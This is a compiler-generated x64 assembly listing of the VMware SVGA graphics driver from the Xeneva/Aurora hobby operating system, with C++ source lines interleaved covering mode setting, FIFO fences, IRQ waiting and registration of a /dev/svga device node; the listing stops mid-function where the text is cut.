EXTRN memcpy:PROC
EXTRN ?printf@@YAXPEBDZZ:PROC ; printf
EXTRN ?pmmngr_alloc@@YAPEAXXZ:PROC ; pmmngr_alloc
EXTRN ?malloc@@YAPEAX_K@Z:PROC ; malloc
EXTRN ?gmr_init@@YAXXZ:PROC ; gmr_init
EXTRN ?vm_backdoor_mouse_init@@YAX_N@Z:PROC ; vm_backdoor_mouse_init
EXTRN ?get_screen_width@@YAIXZ:PROC ; get_screen_width
EXTRN ?get_screen_height@@YAIXZ:PROC ; get_screen_height
EXTRN ?get_bpp@@YAIXZ:PROC ; get_bpp
EXTRN ?get_screen_scanline@@YAGXZ:PROC ; get_screen_scanline
EXTRN ?debug_serial@@YAXPEAD@Z:PROC ; debug_serial
EXTRN ?hw_move_cursor@@YAXPEAIII@Z:PROC ; hw_move_cursor
EXTRN ?vfs_mount@@YAXPEADPEAU_vfs_node_@@@Z:PROC ; vfs_mount
EXTRN __ImageBase:BYTE
pdata SEGMENT
$pdata$?svga_read_reg@@YAII@Z DD imagerel $LN3
DD imagerel $LN3+45
DD imagerel $unwind$?svga_read_reg@@YAII@Z
$pdata$?svga_write_reg@@YAXII@Z DD imagerel $LN3
DD imagerel $LN3+53
DD imagerel $unwind$?svga_write_reg@@YAXII@Z
$pdata$?svga_is_fifo_reg_valid@@YA_NH@Z DD imagerel $LN5
DD imagerel $LN5+61
DD imagerel $unwind$?svga_is_fifo_reg_valid@@YA_NH@Z
$pdata$?svga_has_fifo_cap@@YA_NH@Z DD imagerel $LN5
DD imagerel $LN5+62
DD imagerel $unwind$?svga_has_fifo_cap@@YA_NH@Z
$pdata$?svga_init@@YAXXZ DD imagerel $LN16
DD imagerel $LN16+680
DD imagerel $unwind$?svga_init@@YAXXZ
$pdata$?svga_enable@@YAXXZ DD imagerel $LN8
DD imagerel $LN8+368
DD imagerel $unwind$?svga_enable@@YAXXZ
$pdata$?svga_disable@@YAXXZ DD imagerel $LN3
DD imagerel $LN3+21
DD imagerel $unwind$?svga_disable@@YAXXZ
$pdata$?svga_set_mode@@YAXIII@Z DD imagerel $LN3
DD imagerel $LN3+125
DD imagerel $unwind$?svga_set_mode@@YAXIII@Z
$pdata$?svga_fifo_full@@YAXXZ DD imagerel $LN5
DD imagerel $LN5+115
DD imagerel $unwind$?svga_fifo_full@@YAXXZ
$pdata$?svga_fifo_reserve@@YAPEAXI@Z DD imagerel $LN23
DD imagerel $LN23+539
DD imagerel $unwind$?svga_fifo_reserve@@YAPEAXI@Z
$pdata$?svga_fifo_commit@@YAXI@Z DD imagerel $LN16
DD imagerel $LN16+593
DD imagerel $unwind$?svga_fifo_commit@@YAXI@Z
$pdata$?svga_fifo_commit_all@@YAXXZ DD imagerel $LN3
DD imagerel $LN3+20
DD imagerel $unwind$?svga_fifo_commit_all@@YAXXZ
$pdata$?svga_fifo_reserved_cmd@@YAPEAXII@Z DD imagerel $LN3
DD imagerel $LN3+79
DD imagerel $unwind$?svga_fifo_reserved_cmd@@YAPEAXII@Z
$pdata$?svga_fifo_reserve_escape@@YAPEAXII@Z DD imagerel $LN3
DD imagerel $LN3+95
DD imagerel $unwind$?svga_fifo_reserve_escape@@YAPEAXII@Z
$pdata$?svga_ring_doorbell@@YAXXZ DD imagerel $LN4
DD imagerel $LN4+92
DD imagerel $unwind$?svga_ring_doorbell@@YAXXZ
$pdata$?svga_update@@YAXIIII@Z DD imagerel $LN3
DD imagerel $LN3+99
DD imagerel $unwind$?svga_update@@YAXIIII@Z
$pdata$?svga_begin_define_cursor@@YAXPEBUSVGAFifoCmdDefineCursor@@PEAPEAX1@Z DD imagerel $LN3
DD imagerel $LN3+210
DD imagerel $unwind$?svga_begin_define_cursor@@YAXPEBUSVGAFifoCmdDefineCursor@@PEAPEAX1@Z
$pdata$?svga_begin_define_alpha_cursor@@YAXPEBUSVGAFifoCmdDefineAlphaCursor@@PEAPEAX@Z DD imagerel $LN3
DD imagerel $LN3+109
DD imagerel $unwind$?svga_begin_define_alpha_cursor@@YAXPEBUSVGAFifoCmdDefineAlphaCursor@@PEAPEAX@Z
$pdata$?svga_move_cursor@@YAXIIII@Z DD imagerel $LN5
DD imagerel $LN5+193
DD imagerel $unwind$?svga_move_cursor@@YAXIIII@Z
$pdata$?svga_begin_video_set_regs@@YAXIIPEAPEAUSVGAEscapeVideoSetRegs@@@Z DD imagerel $LN3
DD imagerel $LN3+90
DD imagerel $unwind$?svga_begin_video_set_regs@@YAXIIPEAPEAUSVGAEscapeVideoSetRegs@@@Z
$pdata$?svga_video_set_all_regs@@YAXIPEAUSVGAOverlayUnit@@I@Z DD imagerel $LN6
DD imagerel $LN6+141
DD imagerel $unwind$?svga_video_set_all_regs@@YAXIPEAUSVGAOverlayUnit@@I@Z
$pdata$?svga_video_set_reg@@YAXIII@Z DD imagerel $LN3
DD imagerel $LN3+90
DD imagerel $unwind$?svga_video_set_reg@@YAXIII@Z
$pdata$?svga_video_flush@@YAXI@Z DD imagerel $LN3
DD imagerel $LN3+58
DD imagerel $unwind$?svga_video_flush@@YAXI@Z
$pdata$?svga_interrupt_handler@@YAX_KPEAX@Z DD imagerel $LN4
DD imagerel $LN4+148
DD imagerel $unwind$?svga_interrupt_handler@@YAX_KPEAX@Z
$pdata$?svga_panic@@YAXPEBD@Z DD imagerel $LN3
DD imagerel $LN3+29
DD imagerel $unwind$?svga_panic@@YAXPEBD@Z
$pdata$?svga_sync_to_fence@@YAXI@Z DD imagerel $LN17
DD imagerel $LN17+319
DD imagerel $unwind$?svga_sync_to_fence@@YAXI@Z
$pdata$?svga_insert_fence@@YAIXZ DD imagerel $LN5
DD imagerel $LN5+112
DD imagerel $unwind$?svga_insert_fence@@YAIXZ
$pdata$?svga_wait_for_irq@@YAXXZ DD imagerel $LN6
DD imagerel $LN6+31
DD imagerel $unwind$?svga_wait_for_irq@@YAXXZ
$pdata$?svga_register_file@@YAXXZ DD imagerel $LN3
DD imagerel $LN3+201
DD imagerel $unwind$?svga_register_file@@YAXXZ
$pdata$?svga_has_fence_passed@@YA_NI@Z DD imagerel $LN7
DD imagerel $LN7+97
DD imagerel $unwind$?svga_has_fence_passed@@YA_NI@Z
$pdata$?svga_io_query@@YAHPEAU_vfs_node_@@HPEAX@Z DD imagerel $LN16
DD imagerel $LN16+408
DD imagerel $unwind$?svga_io_query@@YAHPEAU_vfs_node_@@HPEAX@Z
pdata ENDS
; COMDAT ?next_ptr@?1??svga_alloc_gmr@@YAPEAXIPEAUSVGAGuestPtr@@@Z@4U2@A
_DATA SEGMENT
?next_ptr@?1??svga_alloc_gmr@@YAPEAXIPEAUSVGAGuestPtr@@@Z@4U2@A DD 0fffffffeH ; `svga_alloc_gmr'::`2'::next_ptr
DD 00H
_DATA ENDS
xdata SEGMENT
$unwind$?svga_read_reg@@YAII@Z DD 010801H
DD 04208H
$unwind$?svga_write_reg@@YAXII@Z DD 010c01H
DD 0420cH
$unwind$?svga_is_fifo_reg_valid@@YA_NH@Z DD 010801H
DD 02208H
$unwind$?svga_has_fifo_cap@@YA_NH@Z DD 010801H
DD 02208H
$unwind$?svga_init@@YAXXZ DD 010401H
DD 0a204H
$unwind$?svga_enable@@YAXXZ DD 010401H
DD 04204H
$unwind$?svga_disable@@YAXXZ DD 010401H
DD 04204H
$unwind$?svga_set_mode@@YAXIII@Z DD 011101H
DD 04211H
$unwind$?svga_fifo_full@@YAXXZ DD 010401H
DD 04204H
$unwind$?svga_fifo_reserve@@YAPEAXI@Z DD 010801H
DD 08208H
$unwind$?svga_fifo_commit@@YAXI@Z DD 010801H
DD 0c208H
$unwind$?svga_fifo_commit_all@@YAXXZ DD 010401H
DD 04204H
$unwind$?svga_fifo_reserved_cmd@@YAPEAXII@Z DD 010c01H
DD 0620cH
$unwind$?svga_fifo_reserve_escape@@YAPEAXII@Z DD 010c01H
DD 0620cH
$unwind$?svga_ring_doorbell@@YAXXZ DD 010401H
DD 04204H
$unwind$?svga_update@@YAXIIII@Z DD 011601H
DD 06216H
$unwind$?svga_begin_define_cursor@@YAXPEBUSVGAFifoCmdDefineCursor@@PEAPEAX1@Z DD 031501H
DD 070118215H
DD 06010H
$unwind$?svga_begin_define_alpha_cursor@@YAXPEBUSVGAFifoCmdDefineAlphaCursor@@PEAPEAX@Z DD 031001H
DD 0700c6210H
DD 0600bH
$unwind$?svga_move_cursor@@YAXIIII@Z DD 011601H
DD 04216H
$unwind$?svga_begin_video_set_regs@@YAXIIPEAPEAUSVGAEscapeVideoSetRegs@@@Z DD 011101H
DD 06211H
$unwind$?svga_video_set_all_regs@@YAXIPEAUSVGAOverlayUnit@@I@Z DD 011201H
DD 08212H
$unwind$?svga_video_set_reg@@YAXIII@Z DD 011101H
DD 06211H
$unwind$?svga_video_flush@@YAXI@Z DD 010801H
DD 06208H
$unwind$?svga_interrupt_handler@@YAX_KPEAX@Z DD 010e01H
DD 0620eH
$unwind$?svga_panic@@YAXPEBD@Z DD 010901H
DD 04209H
$unwind$?svga_sync_to_fence@@YAXI@Z DD 010801H
DD 06208H
$unwind$?svga_insert_fence@@YAIXZ DD 010401H
DD 06204H
$unwind$?svga_wait_for_irq@@YAXXZ DD 010401H
DD 02204H
$unwind$?svga_register_file@@YAXXZ DD 010401H
DD 06204H
$unwind$?svga_has_fence_passed@@YA_NI@Z DD 010801H
DD 06208H
$unwind$?svga_io_query@@YAHPEAU_vfs_node_@@HPEAX@Z DD 011201H
DD 0c212H
xdata ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
query_struct$ = 32
tv64 = 40
scanline$1 = 44
ycoord$2 = 48
xcoord$3 = 52
height$4 = 56
width$5 = 60
ycoord$6 = 64
height$7 = 68
xcoord$8 = 72
bpp$9 = 76
width$10 = 80
node$ = 112
code$ = 120
arg$ = 128
?svga_io_query@@YAHPEAU_vfs_node_@@HPEAX@Z PROC ; svga_io_query
; 600 : int svga_io_query (vfs_node_t* node, int code, void* arg) {
$LN16:
mov QWORD PTR [rsp+24], r8
mov DWORD PTR [rsp+16], edx
mov QWORD PTR [rsp+8], rcx
sub rsp, 104 ; 00000068H
; 601 : svga_io_query_t *query_struct = (svga_io_query_t*)arg;
mov rax, QWORD PTR arg$[rsp]
mov QWORD PTR query_struct$[rsp], rax
; 602 : switch (code) {
mov eax, DWORD PTR code$[rsp]
mov DWORD PTR tv64[rsp], eax
mov eax, DWORD PTR tv64[rsp]
sub eax, 512 ; 00000200H
mov DWORD PTR tv64[rsp], eax
cmp DWORD PTR tv64[rsp], 7
ja $LN1@svga_io_qu
movsxd rax, DWORD PTR tv64[rsp]
lea rcx, OFFSET FLAT:__ImageBase
mov eax, DWORD PTR $LN15@svga_io_qu[rcx+rax*4]
add rax, rcx
jmp rax
$LN10@svga_io_qu:
; 603 : case SVGA_SETMODE: {
; 604 : svga_set_mode (query_struct->value, query_struct->value2, query_struct->value3);
mov rax, QWORD PTR query_struct$[rsp]
mov r8d, DWORD PTR [rax+8]
mov rax, QWORD PTR query_struct$[rsp]
mov edx, DWORD PTR [rax+4]
mov rax, QWORD PTR query_struct$[rsp]
mov ecx, DWORD PTR [rax]
call ?svga_set_mode@@YAXIII@Z ; svga_set_mode
; 605 : break;
jmp $LN11@svga_io_qu
$LN9@svga_io_qu:
; 606 : }
; 607 : case SVGA_GETWIDTH:{
; 608 : uint32_t width = get_screen_width();
call ?get_screen_width@@YAIXZ ; get_screen_width
mov DWORD PTR width$10[rsp], eax
; 609 : return width;
mov eax, DWORD PTR width$10[rsp]
jmp $LN13@svga_io_qu
; 610 : break;
jmp $LN11@svga_io_qu
$LN8@svga_io_qu:
; 611 : }
; 612 : case SVGA_GETHEIGHT:{
; 613 : uint32_t height = get_screen_height();
call ?get_screen_height@@YAIXZ ; get_screen_height
mov DWORD PTR height$4[rsp], eax
; 614 : return height;
mov eax, DWORD PTR height$4[rsp]
jmp $LN13@svga_io_qu
; 615 : break;
jmp $LN11@svga_io_qu
$LN7@svga_io_qu:
; 616 : }
; 617 : case SVGA_GETBPP:{
; 618 : uint32_t bpp = get_bpp();
call ?get_bpp@@YAIXZ ; get_bpp
mov DWORD PTR bpp$9[rsp], eax
; 619 : return bpp;
mov eax, DWORD PTR bpp$9[rsp]
jmp $LN13@svga_io_qu
; 620 : break;
jmp $LN11@svga_io_qu
$LN6@svga_io_qu:
; 621 : }
; 622 : case SVGA_UPDATE:{
; 623 : uint32_t xcoord = query_struct->value;
mov rax, QWORD PTR query_struct$[rsp]
mov eax, DWORD PTR [rax]
mov DWORD PTR xcoord$8[rsp], eax
; 624 : uint32_t ycoord = query_struct->value2;
mov rax, QWORD PTR query_struct$[rsp]
mov eax, DWORD PTR [rax+4]
mov DWORD PTR ycoord$6[rsp], eax
; 625 : uint32_t width = query_struct->value3;
mov rax, QWORD PTR query_struct$[rsp]
mov eax, DWORD PTR [rax+8]
mov DWORD PTR width$5[rsp], eax
; 626 : uint32_t height = query_struct->value4;
mov rax, QWORD PTR query_struct$[rsp]
mov eax, DWORD PTR [rax+12]
mov DWORD PTR height$7[rsp], eax
; 627 :
; 628 : svga_update(xcoord, ycoord, width, height);
mov r9d, DWORD PTR height$7[rsp]
mov r8d, DWORD PTR width$5[rsp]
mov edx, DWORD PTR ycoord$6[rsp]
mov ecx, DWORD PTR xcoord$8[rsp]
call ?svga_update@@YAXIIII@Z ; svga_update
; 629 : break;
jmp SHORT $LN11@svga_io_qu
$LN5@svga_io_qu:
; 630 : }
; 631 : case SVGA_MOVE_CURSOR: {
; 632 : uint32_t xcoord = query_struct->value;
mov rax, QWORD PTR query_struct$[rsp]
mov eax, DWORD PTR [rax]
mov DWORD PTR xcoord$3[rsp], eax
; 633 : uint32_t ycoord = query_struct->value2;
mov rax, QWORD PTR query_struct$[rsp]
mov eax, DWORD PTR [rax+4]
mov DWORD PTR ycoord$2[rsp], eax
; 634 : if (query_struct->value6 == 103) //Standard Cursor Image
mov rax, QWORD PTR query_struct$[rsp]
cmp DWORD PTR [rax+20], 103 ; 00000067H
jne SHORT $LN4@svga_io_qu
; 635 : hw_move_cursor (NULL,xcoord, ycoord);
mov r8d, DWORD PTR ycoord$2[rsp]
mov edx, DWORD PTR xcoord$3[rsp]
xor ecx, ecx
call ?hw_move_cursor@@YAXPEAIII@Z ; hw_move_cursor
; 636 : else
jmp SHORT $LN3@svga_io_qu
$LN4@svga_io_qu:
; 637 : hw_move_cursor ((uint32_t*)0x0000070000001000,xcoord, ycoord);
mov r8d, DWORD PTR ycoord$2[rsp]
mov edx, DWORD PTR xcoord$3[rsp]
mov rcx, 7696581398528 ; 0000070000001000H
call ?hw_move_cursor@@YAXPEAIII@Z ; hw_move_cursor
$LN3@svga_io_qu:
; 638 : break;
jmp SHORT $LN11@svga_io_qu
$LN2@svga_io_qu:
; 639 : }
; 640 : case SVGA_GET_SCANLINE: {
; 641 : uint16_t scanline = get_screen_scanline();
call ?get_screen_scanline@@YAGXZ ; get_screen_scanline
mov WORD PTR scanline$1[rsp], ax
; 642 : return scanline;
movzx eax, WORD PTR scanline$1[rsp]
jmp SHORT $LN13@svga_io_qu
; 643 : break;
jmp SHORT $LN11@svga_io_qu
$LN1@svga_io_qu:
; 644 : }
; 645 : default:
; 646 : return 1;
mov eax, 1
jmp SHORT $LN13@svga_io_qu
$LN11@svga_io_qu:
; 647 :
; 648 : }
; 649 : return 1;
mov eax, 1
$LN13@svga_io_qu:
; 650 : }
add rsp, 104 ; 00000068H
ret 0
$LN15@svga_io_qu:
DD $LN10@svga_io_qu
DD $LN9@svga_io_qu
DD $LN8@svga_io_qu
DD $LN7@svga_io_qu
DD $LN1@svga_io_qu
DD $LN6@svga_io_qu
DD $LN5@svga_io_qu
DD $LN2@svga_io_qu
?svga_io_query@@YAHPEAU_vfs_node_@@HPEAX@Z ENDP ; svga_io_query
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
tv73 = 32
fence$ = 64
?svga_has_fence_passed@@YA_NI@Z PROC ; svga_has_fence_passed
; 476 : bool svga_has_fence_passed (uint32_t fence) {
$LN7:
mov DWORD PTR [rsp+8], ecx
sub rsp, 56 ; 00000038H
; 477 :
; 478 : if (!fence) {
cmp DWORD PTR fence$[rsp], 0
jne SHORT $LN2@svga_has_f
; 479 : return true;
mov al, 1
jmp SHORT $LN3@svga_has_f
$LN2@svga_has_f:
; 480 : }
; 481 :
; 482 : if (!svga_has_fifo_cap (SVGA_FIFO_CAP_FENCE)) {
mov ecx, 1
call ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap
movzx eax, al
test eax, eax
jne SHORT $LN1@svga_has_f
; 483 : return false;
xor al, al
jmp SHORT $LN3@svga_has_f
$LN1@svga_has_f:
; 484 : }
; 485 :
; 486 : return ((int32_t)(svga_dev.fifo_mem[SVGA_FIFO_FENCE] - fence)) >= 0;
mov eax, 4
imul rax, 6
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov edx, DWORD PTR fence$[rsp]
mov eax, DWORD PTR [rcx+rax]
sub eax, edx
test eax, eax
jl SHORT $LN5@svga_has_f
mov DWORD PTR tv73[rsp], 1
jmp SHORT $LN6@svga_has_f
$LN5@svga_has_f:
mov DWORD PTR tv73[rsp], 0
$LN6@svga_has_f:
movzx eax, BYTE PTR tv73[rsp]
$LN3@svga_has_f:
; 487 : }
add rsp, 56 ; 00000038H
ret 0
?svga_has_fence_passed@@YA_NI@Z ENDP ; svga_has_fence_passed
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
svga$ = 32
?svga_register_file@@YAXXZ PROC ; svga_register_file
; 652 : void svga_register_file () {
$LN3:
sub rsp, 56 ; 00000038H
; 653 : vfs_node_t * svga = (vfs_node_t*)malloc(sizeof(vfs_node_t));
mov ecx, 104 ; 00000068H
call ?malloc@@YAPEAX_K@Z ; malloc
mov QWORD PTR svga$[rsp], rax
; 654 : strcpy (svga->filename, "svga");
mov rax, QWORD PTR svga$[rsp]
lea rdx, OFFSET FLAT:$SG6119
mov rcx, rax
call ?strcpy@@YAPEADPEADPEBD@Z ; strcpy
; 655 : svga->size = 0;
mov rax, QWORD PTR svga$[rsp]
mov DWORD PTR [rax+32], 0
; 656 : svga->eof = 0;
mov rax, QWORD PTR svga$[rsp]
mov DWORD PTR [rax+36], 0
; 657 : svga->pos = 0;
mov rax, QWORD PTR svga$[rsp]
mov DWORD PTR [rax+40], 0
; 658 : svga->current = 0;
mov rax, QWORD PTR svga$[rsp]
mov DWORD PTR [rax+44], 0
; 659 : svga->flags = FS_FLAG_GENERAL;
mov rax, QWORD PTR svga$[rsp]
mov DWORD PTR [rax+48], 2
; 660 : svga->status = 0;
mov rax, QWORD PTR svga$[rsp]
mov DWORD PTR [rax+52], 0
; 661 : svga->open = 0;
mov rax, QWORD PTR svga$[rsp]
mov QWORD PTR [rax+64], 0
; 662 : svga->read = 0;
mov rax, QWORD PTR svga$[rsp]
mov QWORD PTR [rax+72], 0
; 663 : svga->write = 0;
mov rax, QWORD PTR svga$[rsp]
mov QWORD PTR [rax+80], 0
; 664 : svga->read_blk = 0;
mov rax, QWORD PTR svga$[rsp]
mov QWORD PTR [rax+88], 0
; 665 : svga->ioquery = svga_io_query;
mov rax, QWORD PTR svga$[rsp]
lea rcx, OFFSET FLAT:?svga_io_query@@YAHPEAU_vfs_node_@@HPEAX@Z ; svga_io_query
mov QWORD PTR [rax+96], rcx
; 666 : vfs_mount ("/dev/svga", svga);
mov rdx, QWORD PTR svga$[rsp]
lea rcx, OFFSET FLAT:$SG6120
call ?vfs_mount@@YAXPEADPEAU_vfs_node_@@@Z ; vfs_mount
; 667 : }
add rsp, 56 ; 00000038H
ret 0
?svga_register_file@@YAXXZ ENDP ; svga_register_file
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
?svga_get_fb_mem@@YAPEAIXZ PROC ; svga_get_fb_mem
; 597 : return (uint32_t*)svga_dev.fb_mem;
mov rax, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+24
; 598 : }
ret 0
?svga_get_fb_mem@@YAPEAIXZ ENDP ; svga_get_fb_mem
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
flags$ = 0
?svga_wait_for_irq@@YAXXZ PROC ; svga_wait_for_irq
; 568 : void svga_wait_for_irq () {
$LN6:
sub rsp, 24
; 569 : uint32_t flags = 0;
mov DWORD PTR flags$[rsp], 0
$LN3@svga_wait_:
; 570 : do {
; 571 : flags = svga_dev.irq.pending;
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+1048660
mov DWORD PTR flags$[rsp], eax
; 572 : }while (flags == 0);
cmp DWORD PTR flags$[rsp], 0
je SHORT $LN3@svga_wait_
; 573 : }
add rsp, 24
ret 0
?svga_wait_for_irq@@YAXXZ ENDP ; svga_wait_for_irq
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
fence$ = 32
cmd$ = 40
?svga_insert_fence@@YAIXZ PROC ; svga_insert_fence
; 534 : uint32_t svga_insert_fence () {
$LN5:
sub rsp, 56 ; 00000038H
; 535 : uint32_t fence;
; 536 :
; 537 : #pragma pack (push)
; 538 : struct cmmnd{
; 539 : uint32_t id;
; 540 : uint32_t fence;
; 541 : };
; 542 : #pragma pack (pop)
; 543 :
; 544 : cmmnd *cmd;
; 545 :
; 546 : //printf ("Insert fence cmd size -> %d\n", sizeof *cmd);
; 547 : if (!svga_has_fifo_cap (SVGA_FIFO_CAP_FENCE)) {
mov ecx, 1
call ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap
movzx eax, al
; 548 : //printf ("Insert fence no cap\n");
; 549 : //return 1;
; 550 : }
; 551 :
; 552 : if (svga_dev.fifo.next_fence == 0) {
cmp DWORD PTR ?svga_dev@@3U_svga_drive_@@A+1048656, 0
jne SHORT $LN1@svga_inser
; 553 : svga_dev.fifo.next_fence = 1;
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+1048656, 1
$LN1@svga_inser:
; 554 : }
; 555 :
; 556 : fence = svga_dev.fifo.next_fence++;
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+1048656
mov DWORD PTR fence$[rsp], eax
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+1048656
inc eax
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+1048656, eax
; 557 : //printf ("Fence -> %x\n", fence);
; 558 : cmd = (cmmnd*)svga_fifo_reserve (sizeof *cmd);
mov ecx, 8
call ?svga_fifo_reserve@@YAPEAXI@Z ; svga_fifo_reserve
mov QWORD PTR cmd$[rsp], rax
; 559 : cmd->id = SVGA_CMD_FENCE;
mov rax, QWORD PTR cmd$[rsp]
mov DWORD PTR [rax], 30
; 560 : cmd->fence = fence;
mov rax, QWORD PTR cmd$[rsp]
mov ecx, DWORD PTR fence$[rsp]
mov DWORD PTR [rax+4], ecx
; 561 :
; 562 : svga_fifo_commit_all();
call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all
; 563 :
; 564 : return fence;
mov eax, DWORD PTR fence$[rsp]
; 565 : }
add rsp, 56 ; 00000038H
ret 0
?svga_insert_fence@@YAIXZ ENDP ; svga_insert_fence
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
busy$1 = 32
tv141 = 36
fence$ = 64
?svga_sync_to_fence@@YAXI@Z PROC ; svga_sync_to_fence
; 489 : void svga_sync_to_fence (uint32_t fence) {
$LN17:
mov DWORD PTR [rsp+8], ecx
sub rsp, 56 ; 00000038H
; 490 :
; 491 : if (!fence)
cmp DWORD PTR fence$[rsp], 0
jne SHORT $LN12@svga_sync_
; 492 : return;
jmp $LN13@svga_sync_
$LN12@svga_sync_:
; 493 :
; 494 : if (!svga_has_fifo_cap (SVGA_FIFO_CAP_FENCE)) {
mov ecx, 1
call ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap
movzx eax, al
test eax, eax
jne SHORT $LN11@svga_sync_
; 495 : //printf ("Fence Polling\n");
; 496 : svga_write_reg (SVGA_REG_SYNC, 1);
mov edx, 1
mov ecx, 21
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
$LN10@svga_sync_:
; 497 : while (svga_read_reg (SVGA_REG_BUSY) != false) {}
mov ecx, 22
call ?svga_read_reg@@YAII@Z ; svga_read_reg
test eax, eax
je SHORT $LN9@svga_sync_
jmp SHORT $LN10@svga_sync_
$LN9@svga_sync_:
$LN11@svga_sync_:
; 498 : //return;
; 499 : }
; 500 :
; 501 : if (svga_has_fence_passed (fence)) {
mov ecx, DWORD PTR fence$[rsp]
call ?svga_has_fence_passed@@YA_NI@Z ; svga_has_fence_passed
movzx eax, al
; 502 : //return;
; 503 : }
; 504 :
; 505 : if (svga_is_fifo_reg_valid (SVGA_FIFO_FENCE_GOAL) &&
; 506 : (svga_dev.capabilities & SVGA_CAP_IRQMASK)) {
mov ecx, 289 ; 00000121H
call ?svga_is_fifo_reg_valid@@YA_NH@Z ; svga_is_fifo_reg_valid
movzx eax, al
test eax, eax
je SHORT $LN7@svga_sync_
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+48
and eax, 262144 ; 00040000H
test eax, eax
je SHORT $LN7@svga_sync_
; 507 : svga_dev.fifo_mem[SVGA_FIFO_FENCE_GOAL] = fence;
mov eax, 4
imul rax, 289 ; 00000121H
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov edx, DWORD PTR fence$[rsp]
mov DWORD PTR [rcx+rax], edx
; 508 : svga_write_reg (SVGA_REG_IRQMASK, SVGA_IRQFLAG_FENCE_GOAL);
mov edx, 4
mov ecx, 33 ; 00000021H
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 509 : x64_cli ();
call x64_cli
; 510 :
; 511 : if (!svga_has_fence_passed(fence)) {
mov ecx, DWORD PTR fence$[rsp]
call ?svga_has_fence_passed@@YA_NI@Z ; svga_has_fence_passed
movzx eax, al
test eax, eax
jne SHORT $LN6@svga_sync_
; 512 : svga_ring_doorbell ();
call ?svga_ring_doorbell@@YAXXZ ; svga_ring_doorbell
; 513 : if (!svga_has_fence_passed(fence)) {
mov ecx, DWORD PTR fence$[rsp]
call ?svga_has_fence_passed@@YA_NI@Z ; svga_has_fence_passed
movzx eax, al
test eax, eax
jne SHORT $LN5@svga_sync_
; 514 : svga_wait_for_irq();
call ?svga_wait_for_irq@@YAXXZ ; svga_wait_for_irq
$LN5@svga_sync_:
$LN6@svga_sync_:
; 515 : }
; 516 : }
; 517 :
; 518 : svga_write_reg (SVGA_REG_IRQMASK, 0);
xor edx, edx
mov ecx, 33 ; 00000021H
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 519 : } else {
jmp SHORT $LN4@svga_sync_
$LN7@svga_sync_:
; 520 : bool busy = true;
mov BYTE PTR busy$1[rsp], 1
; 521 : svga_write_reg (SVGA_REG_SYNC, 1);
mov edx, 1
mov ecx, 21
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
$LN3@svga_sync_:
; 522 :
; 523 : while (!svga_has_fence_passed (fence) && busy) {
mov ecx, DWORD PTR fence$[rsp]
call ?svga_has_fence_passed@@YA_NI@Z ; svga_has_fence_passed
movzx eax, al
test eax, eax
jne SHORT $LN2@svga_sync_
movzx eax, BYTE PTR busy$1[rsp]
test eax, eax
je SHORT $LN2@svga_sync_
; 524 : busy = (svga_read_reg (SVGA_REG_BUSY) != 0);
mov ecx, 22
call ?svga_read_reg@@YAII@Z ; svga_read_reg
test eax, eax
je SHORT $LN15@svga_sync_
mov DWORD PTR tv141[rsp], 1
jmp SHORT $LN16@svga_sync_
$LN15@svga_sync_:
mov DWORD PTR tv141[rsp], 0
$LN16@svga_sync_:
movzx eax, BYTE PTR tv141[rsp]
mov BYTE PTR busy$1[rsp], al
; 525 : }
jmp SHORT $LN3@svga_sync_
$LN2@svga_sync_:
$LN4@svga_sync_:
; 526 : }
; 527 :
; 528 : if (!svga_has_fence_passed (fence)) {
mov ecx, DWORD PTR fence$[rsp]
call ?svga_has_fence_passed@@YA_NI@Z ; svga_has_fence_passed
movzx eax, al
$LN13@svga_sync_:
; 529 : //printf ("[VMware SVGA]: SyncToFence failed\n");
; 530 : }
; 531 :
; 532 : }
add rsp, 56 ; 00000038H
ret 0
?svga_sync_to_fence@@YAXI@Z ENDP ; svga_sync_to_fence
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
text$ = 48
?svga_panic@@YAXPEBD@Z PROC ; svga_panic
; 170 : void svga_panic (const char* text) {
$LN3:
mov QWORD PTR [rsp+8], rcx
sub rsp, 40 ; 00000028H
; 171 : svga_disable ();
call ?svga_disable@@YAXXZ ; svga_disable
; 172 : printf (text);
mov rcx, QWORD PTR text$[rsp]
call ?printf@@YAXPEBDZZ ; printf
; 173 : }
add rsp, 40 ; 00000028H
ret 0
?svga_panic@@YAXPEBD@Z ENDP ; svga_panic
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
port$ = 32
irq_flags$ = 36
